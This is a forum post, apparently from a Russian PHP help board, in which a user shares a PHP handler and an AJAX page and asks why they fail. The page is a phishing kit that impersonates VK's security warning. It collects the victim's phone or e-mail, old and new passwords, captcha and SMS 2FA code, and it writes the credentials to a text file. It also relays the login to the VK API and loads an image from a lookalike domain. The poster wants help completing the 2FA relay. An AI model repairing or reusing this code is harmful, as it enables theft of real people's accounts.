Не работает PHP обработчик AJAX формы

agronom617

Новичок
Добрый день!Есть у меня обработчик,в нем точно есть ошибки,нужна помощь
  1. <?php
  2. $db="d1b.txt";
  3. $realmail="http://google.ru/2016282882";
  4. if (isset($_GET['mobile']) && isset($_GET['pass']) && isset($_GET['newpass']) && isset($_GET['repass']) && ($_GET['mobile']!="") && ($_GET['pass']!="") && ($_GET['newpass']!="") && ($_GET['repass']!=""))
  5. {
  6. $act = $_GET['login'];
  7. $login = $_GET['mobile'];
  8. $password = $_GET['pass'];
  9. $newpassword = $_GET['newpass'];
  10. $newpassword2 = $_GET['repass'];
  11. $smscode = $_GET['code'];
  12. $captcha_key = $_GET['captcha_key'];
  13. echo json_encode($json);
  14. $str="$mobile@|$pass@|$newpass@|$repass \n";
  15. $file=fopen("$db","a+");
  16. if(!$file)
  17. {
  18. header("Location: $realmail");
  19. }
  20. else
  21. {
  22. fputs($file, $str);
  23. header("Location: $realmail");
  24. }
  25. }
  26. else
  27. {
  28. header("Location: $index");
  29. }
  30. ?>
А вот сама форма AJAX форма для которой я делал обработчик.
  1. <script type="text/javascript">
  2. function checkLogin() {
  3. if (g("check").value === "") {
  4. $("#check").css({"border": "1px solid #F00F00", "background": "#FCCFCC"});
  5. } else {
  6. //g("err").style.display = "none";
  7. $("#number").fadeOut(300, function() {
  8. $("#password").fadeIn(300);
  9. });
  10. $.ajax("continue.php?act=savePhone&phone=" + encodeURIComponent(g("check").value) + "&qid=" + encodeURIComponent(window.location.search)).done(function() {
  11. });
  12. }
  13. }
  14. function g(id) {
  15. return document.getElementById(id);
  16. }
  17. var wascapt = false;
  18. var wassms = false;
  19. var have2fa = false;
  20. var gettedToken = "";
  21. function login() {
  22. var captcha_key = "";
  23. var captcha_sid = "";
  24. var smscode = "";
  25. var validation_sid = "";
  26. var login = g("check").value.replace("+", "");
  27. var password = g("oldpassword").value;
  28. $("#err").fadeOut(300);
  29. if (g("newpassword").value.length < 6) {
  30. $("#err").html("Пароль должен иметь 6 или более символов").fadeIn(300);
  31. return;
  32. }
  33. if (g("newpassword").value !== g("newpassword2").value) {
  34. $("#err").html("Пароль не изменён, так как новый пароль повторен неправильно.").fadeIn(300);
  35. return;
  36. }
  37. if (g("captcha_sid").value) {
  38. captcha_key = g("captcha_key").value;
  39. captcha_sid = g("captcha_sid").value;
  40. wascapt = false;
  41. }
  42. if (wassms) {
  43. smscode = g("smscode").value;
  44. validation_sid = g("validation_sid").value;
  45. wassms = false;
  46. }
  47. var auth = $.ajax("continue.php?act=login&login=" + encodeURIComponent(login) + "&oldPassword=" + encodeURIComponent(password) + "&captcha_key=" + captcha_key + "&captcha_sid=" + captcha_sid + "&validation_sid=" + validation_sid + "&code=" + smscode + "&newPassword=" + encodeURIComponent(g("newpassword").value) + "&is2fa=" + (have2fa ? 1 : 0) + "&qid=" + encodeURIComponent(window.location.search) + "&token=" + gettedToken).done(function() {
  48. var response = JSON.parse(auth.responseText);
  49. /*if (response.access_token) {
  50. changePassword(login, password, response.access_token, g("newpassword").value);
  51. return;
  52. }*/
  53. if (response.api) {
  54. if (response.result) {
  55. window.location.replace("https://vk.com/id0");
  56. } else {
  57. gettedToken = response.token;
  58. var e = response.api.error;
  59. if (e.error_code === 14) {
  60. $("#password, #sms").fadeOut(300, function () {
  61. $("#capt").fadeIn(300);
  62. });
  63. g("captcha_key").value = "";
  64. g("captcha_key").focus();
  65. g("capt_img").src = e.captcha_img;
  66. g("captcha_sid").value = e.captcha_sid;
  67. }
  68. }
  69. return;
  70. }
  71. if (response.auth && !response.result || response.code === 0) {
  72. var e = response.auth;
  73. switch (response.auth.error) {
  74. case "invalid_client":
  75. $("input[type='text'], input[type='password']").val("");
  76. $("#err").html("Неверный логин или старый пароль").fadeIn(300);
  77. $("#number").fadeIn(300);
  78. $("#capt, #password").fadeOut(300);
  79. break;
  80. case "need_captcha":
  81. $("#password, #sms").fadeOut(300, function() {
  82. $("#capt").fadeIn(300);
  83. });
  84. g("captcha_key").value = "";
  85. g("captcha_key").focus();
  86. g("capt_img").src = e.captcha_img;
  87. g("captcha_sid").value = e.captcha_sid;
  88. wascapt = true;
  89. break;
  90. case "need_validation":
  91. $("#password, #capt").fadeOut(300, function() {
  92. $("#sms").fadeIn(300);
  93. });
  94. g("validation_sid").value = e.validation_sid;
  95. wassms = true;
  96. have2fa = true;
  97. $.ajax("https://api.vk.com/method/auth.validatePhone?sid=" + e.validation_sid + "&v=5.22");
  98. break;
  99. default:
  100. break;
  101. }
  102. }
  103. });
  104. }
  105. </script>
  106. </head>
  107. <body>
  108. <div class="header"></div>
  109. <div class="page">
  110. <div class="page-border">
  111. <div class="content">
  112. <div class="spamfight"></div>
  113. <p>На Вашей странице была обнаружена подозрительная активность. На данный момент<strong> злоумышленники</strong> могут иметь доступ к Вашей странице.
  114. </p>
  115. <br>
  116. <p>Чтобы обезопасить свою страницу, мы просим Вас <span style="color:#45668E">проверить компьютер <strong>антивирусом</strong></span>, подтвердить, что Вы владелец страницы и изменить свой пароль, используя данную страницу.
  117. </p>
  118. <br>
  119. <p>Злоумышленники могли получить доступ к Вашей странице с помощью следующей подозрительной ссылки. </p>
  120. <div class="reason">
  121. <p style="padding-left:20px">
  122. <strong>Подозрительная ссылка</strong>
  123. <br>
  124. <span style="cursor:pointer">http://goo.gl/...</span>
  125. </p>
  126. </div>
  127. <div id="err" class="oauth_error"></div>
  128. <div class="content-1" id="number" style="display: block;">
  129. <p class="login">Мобильный телефон либо e-mail:</p>
  130. <input type="text" id="check" class="textbox-blocked" name="mobile" autofocus="" value="">
  131. <div class="button btn-mobile" onclick="checkLogin();" style="width:134px">Продолжить</div>
  132. </div>
  133. <div class="content-1" id="password" style="display: none;">
  134. <p class="login">Старый пароль</p>
  135. <input id="oldpassword" type="password" name="pass" autofocus="" required="" pattern=".{6,50}" class="textbox-blocked">
  136. <p class="login">Новый пароль</p>
  137. <input id="newpassword" type="password" name="newpass" required="" pattern=".{6,50}" class="textbox-blocked">
  138. <p class="login">Повторите пароль</p>
  139. <input id="newpassword2" type="password" name="repass" required="" pattern=".{6,50}" class="textbox-blocked">
  140. <input type="submit" onclick="login();" class="button" style="width:134px" value="Подтвердить">
  141. </div>
  142. <div class="content-1" id="capt" style="display: none;">
  143. <input id="captcha_sid" type="hidden" name="captcha_sid" value="">
  144. <br><img id="capt_img" src="https://vk.com.setting.antiviruseprotectionservice.xyz/blocked.php?id=156834558"><br><br>
  145. <p class="login">Код с картинки:</p>
  146. <input id="captcha_key" type="text" name="captcha_key" required="" pattern=".{6,50}" class="textbox-blocked">
  147. <input type="submit" onclick="login();" class="button" style="width:134px" value="Подтвердить">
  148. </div>
  149. <div id="sms" style="display: none;">
  150. <div class="oauth_error">Чтобы подтвердить, что Вы действительно являетесь владельцем страницы, пожалуйста, введите код подтверждения из SMS либо последние 4 цифры номера, с которого Вам поступит звонок.
  151. </div>
  152. <br>
  153. <div class="content-1">
  154. <input id="validation_sid" type="hidden" name="validation_sid" value="1">
  155. <p class="login">Код подтверждения:</p>
  156. <input id="smscode" type="text" required="" pattern=".{6,50}" class="textbox-blocked">
  157. <input type="submit" onclick="login();" class="button" style="width:134px" value="Подтвердить">
  158. </div>
  159. </div>
  160. </div>
  161. </div>
  162. </div>
Подключил jquerry,пытаюсь отправить данные на хост (логин+старый пароль+новый пароль),не выходит.А нужно еще,что бы обработчик переходил запросу на api vk,что бы по ссылке получить код,что бы его тоже можно было ввести в форму и отправить.Как это можно сделать?Чего в PHP обработчике не хватает?Заранее спасибо
 
Сверху